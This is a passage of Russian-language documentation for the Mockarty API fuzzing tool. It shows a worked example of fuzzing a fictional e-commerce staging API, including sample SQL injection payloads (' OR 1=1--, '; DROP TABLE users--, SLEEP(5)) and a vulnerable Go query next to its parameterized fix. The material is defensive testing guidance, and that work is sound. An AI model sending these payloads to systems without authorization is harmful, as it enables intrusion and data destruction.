• Если целевой сервис становится недоступен (10 последовательных ошибок подключения), движок автоматически прекращает работу.
• Time-based нагрузки SQL-инъекций (например, SLEEP(5)) могут замедлить вашу тестовую базу данных. Используйте одноразовый экземпляр БД.
• Некоторые нагрузки пытаются выполнить stacked-запросы вроде '; DROP TABLE users--. Хотя они редко срабатывают в современных фреймворках, используйте базу данных с ограниченными привилегиями.
• Не фаззьте сторонние API, если у вас нет явного письменного разрешения. Фаззинг чужого API без авторизации может нарушить условия использования или действующее законодательство.

Практический пример

Рассмотрим фаззинг REST API для вымышленного e-commerce сервиса.

API

Наш e-commerce API имеет следующие эндпоинты:

• GET /api/products?search=&category=&page=
• GET /api/products/:id
• POST /api/orders (JSON-тело: productId, quantity, shippingAddress)
• GET /api/orders/:id

Шаг 1: Создание конфигурации фаззинга

curl -X POST http://localhost:5770/api/v1/fuzzing/configs \
  -H "Content-Type: application/json" \
  -H "X-API-Key: mk_your_token" \
  -d '{
    "name": "E-Commerce API Security Scan",
    "targetBaseUrl": "http://ecommerce-staging:8080",
    "sourceType": "manual",
    "strategy": "all",
    "payloadCategories": ["sqli", "xss", "path_traversal", "command_injection", "ssrf"],
    "seedRequests": [
      {
        "id": "search-products",
        "method": "GET",
        "url": "/api/products",
        "path": "/api/products",
        "queryParams": {"search": "laptop", "category": "electronics", "page": "1"}
      },
      {
        "id": "get-product",
        "method": "GET",
        "url": "/api/products/42",
        "path": "/api/products/42"
      },
      {
        "id": "create-order",
        "method": "POST",
        "url": "/api/orders",
        "path": "/api/orders",
        "headers": {"Content-Type": "application/json"},
        "body": "{\"productId\": \"42\", \"quantity\": 1, \"shippingAddress\": \"123 Main St\"}"
      },
      {
        "id": "get-order",
        "method": "GET",
        "url": "/api/orders/100",
        "path": "/api/orders/100"
      }
    ],
    "options": {
      "maxRequests": 5000,
      "maxDuration": "10m",
      "concurrency": 5,
      "maxRps": 30,
      "verifyFindings": true,
      "authHeader": "Bearer staging-test-token"
    }
  }'

Шаг 2: Запуск

curl -X POST http://localhost:5770/api/v1/fuzzing/run \
  -H "Content-Type: application/json" \
  -H "X-API-Key: mk_your_token" \
  -d '{"configId": "CONFIG_ID"}'

Шаг 3: Просмотр находок

После завершения запуска проверяем результаты:

curl http://localhost:5770/api/v1/fuzzing/results/RUN_ID \
  -H "X-API-Key: mk_your_token"

Ответ показывает:

{
  "id": "run-abc123",
  "status": "completed",
  "totalRequests": 4872,
  "totalFindings": 7,
  "criticalFindings": 1,
  "highFindings": 2,
  "mediumFindings": 3,
  "lowFindings": 0,
  "infoFindings": 1,
  "durationMs": 324000
}

Детализация находок:

curl "http://localhost:5770/api/v1/fuzzing/findings?runId=run-abc123" \
  -H "X-API-Key: mk_your_token"

Шаг 4: Находка SQL-инъекции

Одна критическая находка выделяется:

{
  "severity": "critical",
  "category": "sqli",
  "title": "Potential SQL injection detected",
  "requestMethod": "GET",
  "requestUrl": "http://ecommerce-staging:8080/api/products?search=' OR 1=1--&category=electronics&page=1",
  "responseStatus": 200,
  "responseBody": "[{\"id\":1,\"name\":\"Secret Admin Product\",...}, {\"id\":2,...}, ...]",
  "mutationApplied": "query: search=' OR 1=1--",
  "reproducible": true,
  "reproduceCount": 3
}

Эндпоинт поиска вернул все товары (включая скрытые), когда параметр поиска содержал ' OR 1=1--. Это означает, что query-параметр напрямую интерполируется в SQL-запрос.

Шаг 5: Исправление

Уязвимый код, вероятно, выглядит примерно так:

// УЯЗВИМО - НЕ ДЕЛАЙТЕ ТАК
query := fmt.Sprintf("SELECT * FROM products WHERE name LIKE '%%%s%%'", searchParam)
rows, err := db.Query(query)

Исправление использует параметризованные запросы:

// БЕЗОПАСНО - параметризованный запрос
rows, err := db.Query(
    "SELECT * FROM products WHERE name LIKE $1",
    "%"+searchParam+"%",
)

Шаг 6: Верификация исправления

После деплоя исправления повторно запустите ту же конфигурацию фаззинга. Находка SQL-инъекции больше не должна появляться.

Справочник API

Все эндпоинты фаззинга находятся по пути /api/v1/fuzzing/.

Справочник CLI

CLI запускает фаззинг локально без сервера:

mockarty-cli fuzz --target http://your-api:8080 --spec openapi.yaml \
  --strategy all --threads 5 --duration 5m \
  --out json:findings.json --out junit:fuzz-report.xml --out sarif:findings.sarif

Ограничения free tier: 1 поток, максимум 2 минуты, только HTTP, базовые отчёты. PRO: неограниченные потоки и длительность, все протоколы, SARIF-вывод, LLM-советник.

Коды выхода: 0 = находок нет, 1 = найдены уязвимости, 2 = ошибка выполнения.

Справочник SDK

Все SDK предоставляют аксессор Fuzzing() (или fuzzing) со следующими методами:

Смотрите также

• Справочник API — полная документация REST API, включая эндпоинты фаззинга
• Быстрый старт — запустите Mockarty за считанные минуты
• Нагрузочное тестирование — нагрузочное тестирование API с помощью JavaScript-скриптов
• Рекордер — запись трафика и импорт как seed-запросов для фаззинга
• Контрактное тестирование — валидация моков против спецификаций и проверка обратной совместимости
• Архитектура масштабирования — распределённое развёртывание для масштабного фаззинга